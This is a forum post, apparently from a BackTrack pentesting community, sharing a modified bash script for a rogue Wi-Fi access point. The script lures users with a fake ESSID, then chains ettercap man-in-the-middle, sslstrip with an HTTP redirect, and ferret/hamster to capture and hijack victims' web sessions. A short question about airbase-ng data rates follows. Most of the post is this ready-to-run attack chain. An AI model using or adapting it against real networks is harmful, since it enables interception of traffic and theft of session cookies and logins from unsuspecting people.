Your videos are more than excellent. I was playing with your script and since I have a dsl modem to connect to internet I modify a bit your script to work with point to point connections. So, here it is:
Code:
#!/bin/bash
echo -n "Enter the name of the interface connected to the internet, for example ppp0: "
read -e IFACE
echo -n "Enter your Internet IP address for ppp0, IP(XXX.XXX.XXX.XXX): "
read -e INETIP
echo -n "Enter your wireless interface name, for example wlan0: "
read -e WIFACE
echo -n "Enter the ESSID you would like your rogue AP to be called, for example Free WiFi: "
read -e ESSID
echo -n "Enter your wireless interface MAC(XX:XX:XX:XX:XX:XX) [Optional,]: "
read -e MAC
echo -n "Enter the channel you would like your rogue AP to be called [Optional]: "
read -e CHAN
# installing DNSMASQ
apt-get install dnsmasq-base
killall -9 dhcpcd dhcpd3 airbase-ng ettercap dnsmasq
# stop mon0
airmon-ng stop mon0
airmon-ng stop $WIFACE
ifconfig $WIFACE down
airmon-ng start $WIFACE
modprobe tun &
cmd="konsole -e airbase-ng -e ""$ESSID"" -P -C 30 -v "
if [ -n "$CHAN" ]; then
cmd=$cmd"-c "$CHAN" "
fi
if [ -n "$MAC" ]; then
cmd=$cmd"-a "$MAC" "
fi
cmd=$cmd"$WIFACE"
$cmd &
echo "Witing 10 seconds for the SoftAP to be established"
sleep 10
echo "SoftAP should be working now"
ifconfig at0 up
ifconfig at0 192.168.1.129 netmask 255.255.255.128
ifconfig at0 mtu 1400
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
# create custom dhcpd.conf for WLAN
# my ISP's DNS servers are: 195.170.0.1 and 195.170.2.2
cat > dhcpd.conf << EOF
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.1.255;
option routers 192.168.1.129;
option domain-name-servers 195.170.0.1, 195.170.2.2;
range 192.168.1.130 192.168.1.140;
}
EOF
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o $IFACE -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT # rogue gateway
# my internet's dynamic IP
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to $INETIP
rm /var/run/dhcpd.pid
touch /var/run/dhcpd.pid
chgrp dhcpd /var/run/dhcpd.pid
chown dhcpd /var/run/dhcpd.pid
# run custom dhcpd file
konsole -e dhcpd3 -d -f -cf dhcpd.conf at0 &
## solve our dns forwarder
dnsmasq restart
konsole -e ettercap -T -p -q -i at0 // // &
echo "Witing 8 seconds for portforwarding and DHCP server"
sleep 8
echo "1" > /proc/sys/net/ipv4/ip_forward
echo "Portforwarding and DHCP should be working now"
# Starting SSLStrip
konsole -e sslstrip -p &
echo "Starting SSLStrip"
sleep 3
# Forward all 80 port traffic to port 10000
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
echo "Forward all 80 port traffic to port 10000"
sleep 3
# Starting ferret
konsole -e /pentest/sniffers/hamster/./ferret -i at0 &
echo "Starting ferret"
sleep 3
# Starting hamster
konsole -e /pentest/sniffers/hamster/hamster &
echo "Starting Hamster"
sleep 3
My IP is dynamic and the DNS Servers of my ISP are 195.170.0.1 and 195.170.2.2.
Sorry for any mistakes that I have made (in the script and in English grammar and syntax). I am in the scene since Amstrad 464 (yes with tape) and i am a little bit rusty (if this is the correct word)
BTW the only problem that I have is when i create a AP (atheros based card AR5001X+)with airbase-ng the data rate is very slow. I tried both drivers mac and madwifi. I change rate ,rts, etc and the rate and nothing change. But when I create a AP with:
Code:
wlanconfig ath0 create wlandev wifi0 wlanmode ap
iwconfig ath0 essid Come_to_Dady
iwconfig ath0 rate 54M
it work just great. It is airbase-ng related or driver related problem?
I am using the SVN version of Aircrack-ng and i was trying in different channels, RTS etc.
Any Idea
Anyway.
My respects to all of you guys and specially to Pureh@te who is helping everybody even those kids who they are too lazy to search around.
Great work.
Backtrack Series - 12: Session Hijacking for Secure Websites
Originally Posted by imaginary
Posting Permissions